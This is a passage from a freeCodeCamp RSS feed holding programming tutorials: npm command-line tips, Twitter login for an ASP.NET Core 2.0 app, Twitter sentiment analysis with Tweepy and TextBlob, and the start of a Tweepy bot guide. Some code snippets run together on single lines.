                        <![CDATA[ cli ]]>
                    </category>
                
                    <category>
                        <![CDATA[ npm ]]>
                    </category>
                
                    <category>
                        <![CDATA[ terminal ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 20 Jan 2020 14:43:26 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/01/twitter.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Leonardo Faria</p>
<p>A while ago I started a <a target="_blank" href="https://twitter.com/leozera/status/1090639374109138946">thread on Twitter</a> with a few terminal tips. There are lots of command line interfaces in NPM and they can be very handy in our daily work. </p>
<p>Here they are. If you like them, you can <a target="_blank" href="https://twitter.com/leozera">follow me</a> on twitter for more tips :)</p>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090639457118609408"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090639526840549382"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090639627822628865"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090639691135610881"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090639798354665472"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090639885931753475"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1090640016970117120"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1093949292040019968"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1180601156889804801"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<div class="embed-wrapper">
        <blockquote class="twitter-tweet">
          <a href="https://twitter.com/leozera/status/1215393238720188416"></a>
        </blockquote>
        <script defer="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<p>Photo credit: <a target="_blank" href="https://unsplash.com/photos/HAIPJ8PyeL8">Unsplash</a> </p>
<p><em>Also posted on <a target="_blank" href="http://bit.ly/3arn5Fl">my blog</a>. If you like this content, follow me on <a target="_blank" href="https://twitter.com/leozera">Twitter</a> and <a target="_blank" href="https://github.com/leonardofaria">GitHub</a>.</em></p>
<p>By the way - Thinkific is <a target="_blank" href="https://bit.ly/thnk-senior-front-end-eng">hiring</a> <a target="_blank" href="https://bit.ly/thnk-senior-full-stack-eng">for</a> <a target="_blank" href="https://www.thinkific.com/careers/">several positions</a> if you are interested.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Authentication Using Twitter In ASP.NET Core 2.0 ]]>
                </title>
                <description>
                    <![CDATA[ By Ankit Sharma Introduction Sometimes, we want our users to log in using their existing credentials from third-party applications such as Facebook, Twitter, Google and so on. In this article, we are going to look into authentication of an ASP.NET Co... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/authentication-using-twitter-in-asp-net-core-2-0-c7e02be30678/</link>
                <guid isPermaLink="false">66c345199972b7c5c7624e07</guid>
                
                    <category>
                        <![CDATA[ authentication ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Microsoft ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 09 Jul 2018 23:22:50 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*NtO_nq3H7lfuDd9nL9pRWg.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Ankit Sharma</p>
<h3 id="heading-introduction">Introduction</h3>
<p>Sometimes, we want our users to log in using their existing credentials from third-party applications such as Facebook, Twitter, Google and so on. In this article, we are going to look into authentication of an ASP.NET Core app using Twitter.</p>
<h3 id="heading-prerequisites">Prerequisites</h3>
<ul>
<li>Install .NET Core 2.0.0 or above SDK from <a target="_blank" href="https://www.microsoft.com/net/learn/get-started/windows#windowscmd">here</a>.</li>
<li>Install the latest version of Visual Studio 2017 Community Edition from <a target="_blank" href="https://www.visualstudio.com/downloads/">here</a>.</li>
</ul>
<h3 id="heading-create-mvc-web-application">Create MVC Web Application</h3>
<p>Open Visual Studio and select File &gt;&gt; New &gt;&gt; Project. After selecting the project, a “New Project” dialog will open. Select .NET Core inside Visual C# menu from the left panel. Then, select “ASP.NET Core Web Application” from available project types. Put the name of the <strong>project as Dem</strong>_o_TwitterAuth and press OK.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/cq-CFz1g6xYXEsBVwGl0TAeFcTop50eW8-J9" alt="Image" width="650" height="397" loading="lazy"></p>
<p>After clicking on OK, a new dialog will open asking to select the project template. You can observe two drop-down menus at the top left of the template window. Select “.NET Core” and “ASP.NET Core 2.0” from these dropdowns. Then, select the “Web application(Model-View-Controller)” template. Click on the “Change Authentication” button, and a Change Authentication dialog box will open. Select “Individual User Account” and click OK. Now, click OK again to create your web app.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/XTWNNIJlmrRbktYzfCqgKubRHB0CRDH298Z-" alt="Image" width="787" height="515" loading="lazy"></p>
<p>Before running the application, we need to apply migrations to our app. Navigate to Tools &gt;&gt; NuGet Package Manager &gt;&gt; Package Manager Console.</p>
<p>It will open the Package Manager Console. Put in the <strong>Update-Database</strong> command and hit enter. This will update the database using Entity Framework Code First Migrations.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/oXXyV-TDBUPTbFPH0J8tgKm0qqlVqLuJivpK" alt="Image" width="310" height="121" loading="lazy"></p>
<p>Press F5 to run the application. You can see a home page as shown below.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/ZD8J4FfPJlG7f7y3AYurYUWQ1H2i4KFu4SSC" alt="Image" width="650" height="242" loading="lazy"></p>
<p>Note the URL from the browser address bar. In this case, the URL is <a target="_blank" href="http://localhost:51763/.">http://localhost:51763/.</a> We need this URL to configure our Twitter App, which we will be doing in the next section.</p>
<h3 id="heading-create-the-twitter-app">Create the Twitter App</h3>
<p>Before we start building our ASP.NET Core 2.0 application, we need to create and configure the Twitter app so that we can use it to authenticate our application.</p>
<p>Navigate to <a target="_blank" href="https://apps.twitter.com/">https://apps.twitter.com/</a> and sign in using your existing Twitter account. If you do not have a Twitter account, you need to create one. You cannot proceed without a Twitter account. Once you have logged in, you will be redirected to an Application Management page similar to the one shown below.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/DhLIHOx6mS78mT2H-PsVCz5l7lDLfIiaZ8hc" alt="Image" width="649" height="401" loading="lazy"></p>
<p>It will show all your Twitter Apps configured. Since I have already configured a Twitter App, it is being displayed. If you are creating one for the first time, it will not show anything. Click on the “Create New App” button in the top right corner. It will open a form and ask to fill out the details to create a new app.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/o6WpTlQrLxwkuJFormFZzQKCIDGJF56B4yZ6" alt="Image" width="650" height="622" loading="lazy"></p>
<p>You can fill the form with the details as mentioned below.</p>
<ul>
<li><strong>Name</strong><br>Give any name of your choice. But it should be universally unique. This means no one should have used this name earlier for creating a Twitter app. This works the same as Email id. Two people cannot have the same Email id. I am using the name “DemoTwitterAuth” for this tutorial. If you use an already existing name then you will get an error “_The client application failed validation:  is already taken fo_r Name.”</li>
<li><strong>Description</strong><br>Give an appropriate description.</li>
<li><strong>Website</strong><br>Give your public website URL. But for this demo purpose, we will use a dummy URL <a target="_blank" href="http://demopage.com.">http://demopage.com.</a></li>
</ul>
<p>If you use the URL format as <a target="_blank" href="http://www.demopage.com,"><em>www.demopage.com</em>,</a> you will get an error “<em>The client application failed validation: Not a valid URL format.</em>” Always use URL format as <a target="_blank" href="http://demopage.com">http://demopage.com</a></p>
<ul>
<li><strong>Callback URL</strong><br>Give the base URL of your application with <em>/signin-twitter</em> appended to it. For this tutorial, the URL will be <a target="_blank" href="http://localhost:51763/signin-twitter">http://localhost:51763/signin-twitter</a>.</li>
</ul>
<p>Accept the Developer agreement by clicking the checkbox and click on the “Create your Twitter application” button. You will be redirected to your newly created Twitter app page, and you will also see a success message as shown in the image below.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/YnVKPlP1oLmzvsIMT-SxN0qNaV823gRGQUAN" alt="Image" width="650" height="339" loading="lazy"></p>
<p>Navigate to the “Keys and Access Tokens” tab and make a note of the Consumer Key (API Key) and Consumer Secret (API Secret) field values. We will be using these values in the ASP.NET Core app.</p>
<p>The fields are masked in this image for security purposes.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/iTBe1Ka428jg0MbRF0sLIfVu5ZWCXll8QOx8" alt="Image" width="650" height="332" loading="lazy"></p>
<p>Our Twitter app has been created successfully.</p>
<h3 id="heading-configure-the-web-app-to-use-twitter-authentication">Configure the Web App to use Twitter authentication</h3>
<p>We need to store the Consumer Key (API Key) and Consumer Secret (API Secret) field values in our application. We will use the Secret Manager tool for this purpose.</p>
<p>The Secret Manager tool is a project tool that can be used to store secrets such as password, API Key, and so on for a .NET Core project during the development process. With the Secret Manager tool, we can associate app secrets with a specific project and can share them across multiple projects.</p>
<p>Open your web application once again and Right-click the project in Solution Explorer. Select “Manage User Secrets” from the context menu.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/o1hmnNs6pwY1RQAW3dxtkxfEKL0T1KuDV5bY" alt="Image" width="627" height="629" loading="lazy"></p>
<p>A <strong>secrets.json</strong> file will open. Put the following code in it.</p>
<pre><code class="lang-json">{  
    <span class="hljs-attr">"Authentication:Twitter:ConsumerKey"</span>: <span class="hljs-string">"Your Consumer Key here"</span>,  
    <span class="hljs-attr">"Authentication:Twitter:ConsumerSecret"</span>: <span class="hljs-string">"Your Consumer Secret here"</span>  
}
</code></pre>
<p>Now open the <strong>Startup.cs</strong> file and put the following code into the <strong>ConfigureServices</strong> method.</p>
<pre><code class="lang-cs">services.AddAuthentication().AddTwitter(twitterOptions =&gt; {  
    twitterOptions.ConsumerKey = Configuration[<span class="hljs-string">"Authentication:Twitter:ConsumerKey"</span>];  
    twitterOptions.ConsumerSecret = Configuration[<span class="hljs-string">"Authentication:Twitter:ConsumerSecret"</span>];  
});
</code></pre>
<p>In this code section, we are reading ConsumerKey and ConsumerSecret for the authentication purpose. So finally, <strong>Startup.cs</strong> will look like this.</p>
<pre><code class="lang-cs"><span class="hljs-keyword">using</span> System;  
<span class="hljs-keyword">using</span> System.Collections.Generic;  
<span class="hljs-keyword">using</span> System.Linq;  
<span class="hljs-keyword">using</span> System.Threading.Tasks;  
<span class="hljs-keyword">using</span> Microsoft.AspNetCore.Builder;  
<span class="hljs-keyword">using</span> Microsoft.AspNetCore.Identity;  
<span class="hljs-keyword">using</span> Microsoft.EntityFrameworkCore;  
<span class="hljs-keyword">using</span> Microsoft.AspNetCore.Hosting;  
<span class="hljs-keyword">using</span> Microsoft.Extensions.Configuration;  
<span class="hljs-keyword">using</span> Microsoft.Extensions.DependencyInjection;  
<span class="hljs-keyword">using</span> DemoTwitterAuth.Data;  
<span class="hljs-keyword">using</span> DemoTwitterAuth.Models;  
<span class="hljs-keyword">using</span> DemoTwitterAuth.Services;  
<span class="hljs-keyword">namespace</span> <span class="hljs-title">DemoTwitterAuth</span> {  
    <span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title">Startup</span> {  
        <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">Startup</span>(<span class="hljs-params">IConfiguration configuration</span>)</span> {  
            Configuration = configuration;  
        }  
        <span class="hljs-keyword">public</span> IConfiguration Configuration {  
            <span class="hljs-keyword">get</span>;  
        }  
        <span class="hljs-comment">// This method gets called by the runtime. Use this method to add services to the container.  </span>
        <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">ConfigureServices</span>(<span class="hljs-params">IServiceCollection services</span>)</span> {  
            services.AddDbContext &lt; ApplicationDbContext &gt; (options =&gt; options.UseSqlServer(Configuration.GetConnectionString(<span class="hljs-string">"DefaultConnection"</span>)));  
            services.AddIdentity &lt; ApplicationUser, IdentityRole &gt; ().AddEntityFrameworkStores &lt; ApplicationDbContext &gt; ().AddDefaultTokenProviders();  
            services.AddAuthentication().AddTwitter(twitterOptions =&gt; {  
                twitterOptions.ConsumerKey = Configuration[<span class="hljs-string">"Authentication:Twitter:ConsumerKey"</span>];  
                twitterOptions.ConsumerSecret = Configuration[<span class="hljs-string">"Authentication:Twitter:ConsumerSecret"</span>];  
            });  
            <span class="hljs-comment">// Add application services.  </span>
            services.AddTransient &lt; IEmailSender, EmailSender &gt; ();  
            services.AddMvc();  
        }  
        <span class="hljs-comment">// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.  </span>
        <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">Configure</span>(<span class="hljs-params">IApplicationBuilder app, IHostingEnvironment env</span>)</span> {  
            <span class="hljs-keyword">if</span> (env.IsDevelopment()) {  
                app.UseBrowserLink();  
                app.UseDeveloperExceptionPage();  
                app.UseDatabaseErrorPage();  
            } <span class="hljs-keyword">else</span> {  
                app.UseExceptionHandler(<span class="hljs-string">"/Home/Error"</span>);  
            }  
            app.UseStaticFiles();  
            app.UseAuthentication();  
            app.UseMvc(routes =&gt; {  
                routes.MapRoute(name: <span class="hljs-string">"default"</span>, template: <span class="hljs-string">"{controller=Home}/{action=Index}/{id?}"</span>);  
            });  
        }  
    }  
}
</code></pre>
<p>And with this, our application is ready.</p>
<h3 id="heading-execution-demo">Execution Demo</h3>
<p>Launch the application and click “Login” in the top right corner of the homepage.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/aHMNgaRPh0NMXgIW4s2mrJtJk5vKqVV8XJ0H" alt="Image" width="650" height="273" loading="lazy"></p>
<p>You will be redirected to the <a target="_blank" href="http://localhost:51763/Account/Login">http://localhost:51763/Account/Login</a> page, where you can see the option to login using Twitter on the right side of the page.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/eZDBIjX9Pk8wsz60GqbiWDROIR13orQOBnjB" alt="Image" width="650" height="323" loading="lazy"></p>
<p>Clicking on the <strong>Twitter</strong> button will take you to the Twitter authorization page. There, you will be asked to fill in your Twitter credentials and authorize the Twitter app to use your Twitter account.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/WEHZKMOVfDrG3IoFe-LRxKRJSjetvTM3nQpN" alt="Image" width="650" height="555" loading="lazy"></p>
<p>Once you click on Authorize app, the application will take a few moments to authenticate your Twitter account. Upon successful authentication, you will be redirected to a registration page inside your application where you need to fill in an email id to tag with your account.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Bzg-YBfpHwWEkhTZMElngLxQQNo7K382MyWs" alt="Image" width="650" height="271" loading="lazy"></p>
<p>Give an email id and click “Register”. You will be redirected to the homepage again but this time, you can also see your registered email is in the top right corner.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/i1ajB6q3LxCN4Sl8MA511219WG1bgB5SsPpW" alt="Image" width="650" height="258" loading="lazy"></p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>We have successfully created a Twitter app and used it to authenticate our ASP.NET Core application.</p>
<p>You can get the source code from <a target="_blank" href="https://github.com/AnkitSharma-007/ASPCore.TwitterAuth">GitHub</a>.</p>
<p>Please note that in the source code, the <strong>secrets.json</strong> file contains dummy values. So you’ll need to replace the values with the keys of your Twitter app before executing it.</p>
<p>You can also find this article at <a target="_blank" href="http://www.c-sharpcorner.com/article/authentication-using-twitter-in-asp-net-core-2-0/">C# Corner</a>.</p>
<p>You can check my other articles on ASP .NET Core <a target="_blank" href="http://ankitsharmablogs.com/category/asp-net-core/">here</a></p>
<h3 id="heading-see-also">See Also</h3>
<ul>
<li><a target="_blank" href="http://ankitsharmablogs.com/authentication-using-facebook-in-asp-net-core-2-0/">Authentication Using Facebook In ASP.NET Core 2.0</a></li>
<li><a target="_blank" href="http://ankitsharmablogs.com/authentication-using-google-asp-net-core-2-0/">Authentication Using Google In ASP.NET Core 2.0</a></li>
<li><a target="_blank" href="http://ankitsharmablogs.com/authentication-using-linkedin-asp-net-core-2-0/">Authentication Using LinkedIn In ASP.NET Core 2.0</a></li>
<li><a target="_blank" href="http://ankitsharmablogs.com/cookie-authentication-with-asp-net-core-2-0/">Cookie Authentication With ASP.NET Core 2.0</a></li>
<li><a target="_blank" href="http://ankitsharmablogs.com/asp-net-core-two-factor-authentication-using-google-authenticator/">ASP.NET Core — Two Factor Authentication Using Google Authenticator</a></li>
</ul>
<p>Originally published at <a target="_blank" href="http://ankitsharmablogs.com/asp-net-core-crud-using-angular-5-and-entity-framework-core/">ankitsharmablogs.com</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Basic data analysis on Twitter with Python ]]>
                </title>
                <description>
                    <![CDATA[ By Lucas Kohorst After creating the Free Wtr bot using Tweepy and Python and this code, I wanted a way to see how Twitter users were perceiving the bot and what their sentiment was. So I created a simple data analysis program that takes a given numbe... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/basic-data-analysis-on-twitter-with-python-251c2a85062e/</link>
                <guid isPermaLink="false">66c3454e4f7405e6476b0175</guid>
                
                    <category>
                        <![CDATA[ Data Science ]]>
                    </category>
                
                    <category>
                        <![CDATA[ data visualization ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 17 Apr 2018 17:56:08 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*SsrUI-q_kWKPd-HKmcRNvg.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Lucas Kohorst</p>
<p>After creating the <a target="_blank" href="https://twitter.com/freewtr">Free Wtr</a> bot using Tweepy and Python and <a target="_blank" href="https://medium.freecodecamp.org/creating-a-twitter-bot-in-python-with-tweepy-ac524157a607">this code</a>, I wanted a way to see how Twitter users were perceiving the bot and what their sentiment was. So I created a simple data analysis program that takes a given number of tweets, analyzes them, and displays the data in a scatter plot.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Oi2DdKx2eKA9W5Pc8KtXO3aEFBWDVOvYdNiW" alt="Image" width="600" height="400" loading="lazy">
_Image [credit](https://pixabay.com/en/facebook-analytics-graphs-2265786/" rel="noopener" target="<em>blank" title=").</em></p>
<h3 id="heading-setup">Setup</h3>
<p>I had to install a few packages to create this: <strong>Tweepy</strong>, <strong>Tkinter</strong>, <strong>Textblob</strong> and <strong>matplotlib</strong>. You can install each of these with the pip package manager. For example:</p>
<pre><code>pip install tweepy
</code></pre><p>or you can clone into the Github repository like this.</p>
<pre><code>git clone https:<span class="hljs-comment">//github.com/sloria/textblobcd textblobpython setup.py install</span>
</code></pre><p>Next you will need to create a new <strong>Python</strong> file and import the following packages.</p>
<pre><code><span class="hljs-keyword">import</span> tweepy #The Twitter APIfrom Tkinter <span class="hljs-keyword">import</span> * #For the GUIfrom time <span class="hljs-keyword">import</span> sleepfrom datetime <span class="hljs-keyword">import</span> datetimefrom textblob <span class="hljs-keyword">import</span> TextBlob #For Sentiment Analysisimport matplotlib.pyplot <span class="hljs-keyword">as</span> plt #For Graphing the Data
</code></pre><h3 id="heading-twitter-credentials">Twitter Credentials</h3>
<p>Now we need to link a Twitter account to our script. If you don’t have one already, create one.</p>
<p>Go to <a target="_blank" href="https://apps.twitter.com/">apps.twitter.com</a> and sign in with your account. Create a Twitter application and generate a Consumer Key, Consumer Secret, Access Token, and Access Token Secret.</p>
<p>Under your import statements, store your credentials in variables and then use the second block of code to authenticate your account with Tweepy.</p>
<pre><code>consumer_key = <span class="hljs-string">'consumer key'</span>consumer_secret = <span class="hljs-string">'consumer secrets'</span>access_token = <span class="hljs-string">'access token'</span>access_token_secret = <span class="hljs-string">'access token secret'</span>
</code></pre><pre><code>auth = tweepy.OAuthHandler(consumer_key, consumer_secret)auth.set_access_token(access_token, access_token_secret)api = tweepy.API(auth)
</code></pre><p>If you want to test to see if your account is properly authenticated, you could simply print your username to the console.</p>
<pre><code>user = api.me()print (user.name)
</code></pre><h3 id="heading-creating-the-gui">Creating the GUI</h3>
<p>For the interface, we will use two labels: one for the <strong>search</strong> and the other for the <strong>sample size</strong> or number of tweets to be analyzed. We will also need a submit button so that when clicked, we can call our <code>getData</code> function.</p>
<pre><code>root = Tk()
</code></pre><pre><code>label1 = Label(root, text=<span class="hljs-string">"Search"</span>)E1 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>label2 = Label(root, text=<span class="hljs-string">"Sample Size"</span>)E2 = Entry(root, bd =<span class="hljs-number">5</span>)
</code></pre><pre><code>submit = Button(root, text =<span class="hljs-string">"Submit"</span>, command = getData)
</code></pre><p>So that the computer knows to keep the GUI on the screen, we need to <strong>pack</strong> our labels and then <strong>loop</strong> the root display.</p>
<pre><code>label1.pack()E1.pack()
</code></pre><pre><code>label2.pack()E2.pack()
</code></pre><pre><code>submit.pack(side =BOTTOM)
</code></pre><pre><code>root.mainloop()
</code></pre><p>Simply running this code, you should see a window that looks something like this:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/7Zb3LMvzGDc1Aryk2mlEMqwglNSEHBKsxIJ-" alt="Image" width="600" height="400" loading="lazy"></p>
<p>However when text is input into the labels or the <strong>submit</strong> button is clicked, nothing happens. We have to collect the data.</p>
<h3 id="heading-analyzing-tweets">Analyzing Tweets</h3>
<p>First, we have to get the text input into the labels.</p>
<pre><code>def getE1():    <span class="hljs-keyword">return</span> E1.get()
</code></pre><pre><code>def getE2():    <span class="hljs-keyword">return</span> E2.get()
</code></pre><p>Now we are ready to code the <code>getData</code> function. From now on, all code is in this function:</p>
<pre><code>def getData():    #Code
</code></pre><p>We need to use the <code>GetE1()</code> and <code>GetE2()</code> functions. These store our <strong>search</strong> and <strong>sample size</strong> in variables that we can loop through.</p>
<pre><code>getE1()    keyword = getE1()
</code></pre><pre><code>getE2()    numberOfTweets = getE2()    numberOfTweets = int(numberOfTweets)
</code></pre><p>In order to store our data, we can use lists. One list is for the polarity (or sentiment) of the tweets, and another for the number of the tweet (so that we can graph the data).</p>
<pre><code>    polarity_list = []    numbers_list = []    number = <span class="hljs-number">1</span>
</code></pre><p>The number of tweets needs to be declared as 1 because the default value is 0.</p>
<p>We can now begin to iterate through the tweets and analyze them. Using TextBlob, we can find the sentiment of each tweet and store it to a variable <code>polarity</code> . We can then append this variable to our <code>polarity_list</code> along with appending the number to our <code>number_list</code>.</p>
<pre><code>analysis = TextBlob(tweet.text)analysis = analysis.sentimentpolarity = analysis.polarity            polarity_list.append(polarity)            numbers_list.append(number)number = number + <span class="hljs-number">1</span>
</code></pre><p>We take this code and, using a <code>for</code> loop and <code>try</code> statement, we iterate it over the number of tweets for the search <strong>keyword.</strong></p>
<pre><code><span class="hljs-keyword">for</span> tweet <span class="hljs-keyword">in</span> tweepy.Cursor(api.search, keyword, lang=<span class="hljs-string">"en"</span>).items(numberOfTweets):        <span class="hljs-keyword">try</span>:            analysis = TextBlob(tweet.text)            analysis = analysis.sentiment            polarity = analysis.polarity            polarity_list.append(polarity)            numbers_list.append(number)            number = number + <span class="hljs-number">1</span>
</code></pre><pre><code>except tweepy.TweepError <span class="hljs-keyword">as</span> e:            print(e.reason)
</code></pre><pre><code>except StopIteration:            <span class="hljs-keyword">break</span>
</code></pre><h3 id="heading-graphing-scatter-plot">Graphing Scatter Plot</h3>
<p>In order to graph our scatter plot with <strong>matplotlib,</strong> we first have to define the axis</p>
<pre><code>axes = plt.gca()axes.set_ylim([<span class="hljs-number">-1</span>, <span class="hljs-number">2</span>])
</code></pre><p>and then plot our lists of data.</p>
<pre><code>plt.scatter(numbers_list, polarity_list)
</code></pre><p>Key information is shown in a box. In order to show the overall sentiment of the tweets we gathered, we calculate the average across all collected Tweets. Also, since we are displaying the sentiment at a specific time, we want to display the date and time.</p>
<pre><code>averagePolarity = (sum(polarity_list))/(len(polarity_list))averagePolarity = <span class="hljs-string">"{0:.0f}%"</span>.format(averagePolarity * <span class="hljs-number">100</span>)time  = datetime.now().strftime(<span class="hljs-string">"At: %H:%M\nOn: %m-%d-%y"</span>)
</code></pre><pre><code>plt.text(<span class="hljs-number">0</span>, <span class="hljs-number">1.25</span>, <span class="hljs-string">"Average Sentiment:  "</span> + str(averagePolarity) + <span class="hljs-string">"\n"</span> + time, fontsize=<span class="hljs-number">12</span>, bbox = dict(facecolor=<span class="hljs-string">'none'</span>, edgecolor=<span class="hljs-string">'black'</span>, boxstyle=<span class="hljs-string">'square, pad = 1'</span>))
</code></pre><p><img src="https://cdn-media-1.freecodecamp.org/images/dqJLeSkMRD4JgICY25kJ6BzmEGboBKCEtiyh" alt="Image" width="600" height="400" loading="lazy"></p>
<p>For the title, we can use this</p>
<pre><code>plt.title(<span class="hljs-string">"Sentiment of "</span> + keyword + <span class="hljs-string">" on Twitter"</span>) plt.xlabel(<span class="hljs-string">"Number of Tweets"</span>)plt.ylabel(<span class="hljs-string">"Sentiment"</span>)
</code></pre><p>and finally use <code>plot.show()</code> to display the graph.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/vIjdFG0xozfQTtwIstdIRKg5zCzYVQTZCtaE" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-example">Example</h3>
<p>Testing this for my <a target="_blank" href="https://twitter.com/freewtr"><strong>Free Wtr</strong></a> bot, the sentiment was sky high!</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/IOQQg59OGPt-yHb7lsOewrUtnwEsxXFI5ELn" alt="Image" width="600" height="400" loading="lazy">
<em>Sample Size of 250 Tweets</em></p>
<p>as for <strong>Donald Trump,</strong> I cannot say the same:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/RYhlPLyIbna6XdhRUoV7TT2x8yX6t7Yi3Mfk" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Here is the <a target="_blank" href="https://github.com/Fidel-Willis/Twitter-Data">full source code</a> on Github.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Create a Twitter Bot in Python Using Tweepy ]]>
                </title>
                <description>
                    <![CDATA[ By Lucas Kohorst With about 15% of Twitter being composed of bots, I wanted to try my hand at it. I googled how to create a Twitter bot and was brought to a cleanly laid out web app. It allowed you to create a bot that would like, follow, or ]]>
                </description>
                <link>https://www.freecodecamp.org/news/creating-a-twitter-bot-in-python-with-tweepy-ac524157a607/</link>
                <guid isPermaLink="false">66c3481793db2451bd441444</guid>
                
                    <category>
                        <![CDATA[ bots ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Python ]]>
                    </category>
                
                    <category>
                        <![CDATA[ software development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Sun, 08 Apr 2018 01:11:47 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*PONvGc-nH38lwuley7JoSg.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Lucas Kohorst</p>
<p>With about 15% of Twitter being composed of bots, I wanted to try my hand at it. I googled how to create a Twitter bot and was brought to a cleanly laid out web app. It allowed you to create a bot that would like, follow, or retweet a tweet based on a keyword. The problem was that you could only create one bot for one function.</p>
<p>So I decided to code a bot myself with Python and the Tweepy library.</p>
<h3 id="heading-setup">Setup</h3>
<p>First, I downloaded Tweepy. You can do this using the pip package manager.</p>
<pre><code>pip install tweepy
</code></pre><p>You can also clone the GitHub repository if you do not have pip installed.</p>
<pre><code>git clone https:<span class="hljs-comment">//github.com/tweepy/tweepy.gitcd tweepypython setup.py install</span>
</code></pre><p>You’ll need to import Tweepy and Tkinter (for the GUI interface).</p>
<pre><code><span class="hljs-keyword">import</span> tweepyimport Tkinter
</code></pre><h3 id="heading-credentials">Credentials</h3>
<p>Next, we need to link our Twitter account to our Python script. Go to <a target="_blank" href="https://apps.twitter.com/">apps.twitter.com</a> and sign in with your account. Create a Twitter application and generate a Consumer Key, Consumer Secret, Access Token, and Access Token Secret. Now you are ready to begin!</p>
<p>Under your import statements store your credentials within variables and then use the second block of code to authenticate your account with tweepy.</p>
